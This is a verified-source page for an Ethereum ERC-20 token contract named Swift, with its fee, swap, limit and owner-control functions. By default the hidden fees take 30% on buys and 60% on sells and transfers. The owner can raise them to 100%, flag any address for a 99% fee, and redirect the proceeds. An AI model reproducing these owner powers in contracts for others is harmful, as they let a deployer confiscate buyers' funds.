@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@       @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@(     &@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@    *@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@.  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@


Website: https://www.swiftbot.io/
Twitter: https://x.com/swiftecosystem?s=21
Telegram: https://t.me/+qc21Ci7uWbJjOGJk

*/
// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;


library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    event OwnershipTransferred(address owner);
}

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
        function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract Swift is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = 'Swift';
    string private constant _symbol = unicode'SWIFT';
    uint8 private constant _decimals = 18;
    uint256 private _totalSupply = 1000000 * (10 ** _decimals);
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isFeeExempt;
    mapping (address => bool) private isBot;
    IRouter router;
    address public pair;
    bool private tradingAllowed = false;
    bool private swapEnabled = true;
    uint256 private swapTimes;
    bool private swapping;
    uint256 swapAmount = 1;
    uint256 private swapThreshold = ( _totalSupply * 1000 ) / 100000;
    uint256 private minTokenAmount = ( _totalSupply * 10 ) / 100000;
    modifier lockTheSwap {swapping = true; _; swapping = false;}
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 1500;
    uint256 private developmentFee = 1500;
    uint256 private burnFee = 0;
    uint256 private totalFee = 3000;
    uint256 private sellFee = 6000;
    uint256 private transferFee = 6000;
    uint256 private denominator = 10000;
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal development_receiver = 0xAF306498b1f88CE86d4AaFFd4871b557AAd2Aa59; 
    address internal marketing_receiver = 0xAF306498b1f88CE86d4AaFFd4871b557AAd2Aa59;
    address internal liquidity_receiver = 0xAF306498b1f88CE86d4AaFFd4871b557AAd2Aa59;
    uint256 public _maxTxAmount = ( _totalSupply * 100 ) / 10000;
    uint256 public _maxSellAmount = ( _totalSupply * 100 ) / 10000;
    uint256 public _maxWalletToken = ( _totalSupply * 150 ) / 10000;

    constructor() Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router; pair = _pair;
        isFeeExempt[address(this)] = true;
        isFeeExempt[liquidity_receiver] = true;
        isFeeExempt[marketing_receiver] = true;
        isFeeExempt[development_receiver] = true;
        isFeeExempt[msg.sender] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function startTrading() external onlyOwner {tradingAllowed = true;}
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}

    function shouldContractSwap(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= minTokenAmount;
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return !swapping && swapEnabled && tradingAllowed && aboveMin && !isFeeExempt[sender] && recipient == pair && swapTimes >= swapAmount && aboveThreshold;
    }

    function setContractSwapSettings(uint256 _swapAmount, uint256 _swapThreshold, uint256 _minTokenAmount) external onlyOwner {
        swapAmount = _swapAmount; swapThreshold = _totalSupply.mul(_swapThreshold).div(uint256(100000)); 
        minTokenAmount = _totalSupply.mul(_minTokenAmount).div(uint256(100000));
    }

    function setCAFees(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
        liquidityFee = _liquidity; marketingFee = _marketing; burnFee = _burn; developmentFee = _development; totalFee = _total; sellFee = _sell; transferFee = _trans;
        require(totalFee <= denominator && sellFee <= denominator && transferFee <= denominator, "totalFee and sellFee cannot be more than 100%");
    }

    function setTxLimits(uint256 _buy, uint256 _sell, uint256 _wallet) external onlyOwner {
        uint256 newTx = _totalSupply.mul(_buy).div(10000); uint256 newTransfer = _totalSupply.mul(_sell).div(10000); uint256 newWallet = _totalSupply.mul(_wallet).div(10000);
        _maxTxAmount = newTx; _maxSellAmount = newTransfer; _maxWalletToken = newWallet;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
    }

    function setInternalAddresses(address _marketing, address _liquidity, address _development) external onlyOwner {
        marketing_receiver = _marketing; liquidity_receiver = _liquidity; development_receiver = _development;
        isFeeExempt[_marketing] = true; isFeeExempt[_liquidity] = true; isFeeExempt[_development] = true;
    }

    function setisBot(address[] calldata addresses, bool _enabled) external onlyOwner {
        for(uint i=0; i < addresses.length; i++){
        isBot[addresses[i]] = _enabled; }
    }

    function manualSwap() external onlyOwner {
        swapAndLiquify(swapThreshold);
    }

    function rescueERC20(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(development_receiver, _amount);
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);}
        uint256 contractBalance = address(this).balance;
        if(contractBalance > uint256(0)){payable(development_receiver).transfer(contractBalance);}
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }

    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(isBot[sender] || isBot[recipient]){return denominator.sub(uint256(100));}
        if(recipient == pair){return sellFee;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(getTotalFee(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0) && getTotalFee(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
        if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");}
        if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){
        require((_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount.");}
        if(sender != pair){require(amount <= _maxSellAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");}
        require(amount <= _maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded"); 
        if(recipient == pair && !isFeeExempt[sender]){swapTimes += uint256(1);}
        if(shouldContractSwap(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

}

Read Contract

_maxSellAmount 0x7cca52fe → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletToken 0x78109e54 → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
getOwner 0x893d20e8 → address
isFeeExempt 0x3f4218e0 → bool
isOwner 0x2f54bf6e → bool
name 0x06fdde03 → string
pair 0xa8aa1b31 → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 13 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
manualSwap 0x51bc3c85
No parameters
rescueERC20 0x8cd4426d
address _address
uint256 percent
setCAFees 0x279a3e32
uint256 _liquidity
uint256 _marketing
uint256 _burn
uint256 _development
uint256 _total
uint256 _sell
uint256 _trans
setContractSwapSettings 0x9d8740cb
uint256 _swapAmount
uint256 _swapThreshold
uint256 _minTokenAmount
setInternalAddresses 0x9213c358
address _marketing
address _liquidity
address _development
setTxLimits 0xe46b3b3f
uint256 _buy
uint256 _sell
uint256 _wallet
setisBot 0x229b6a5e
address[] addresses
bool _enabled
setisExempt 0x48ff2b8b
address _address
bool _enabled
startTrading 0x293230b8
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address adr

Recent Transactions

No transactions found for this address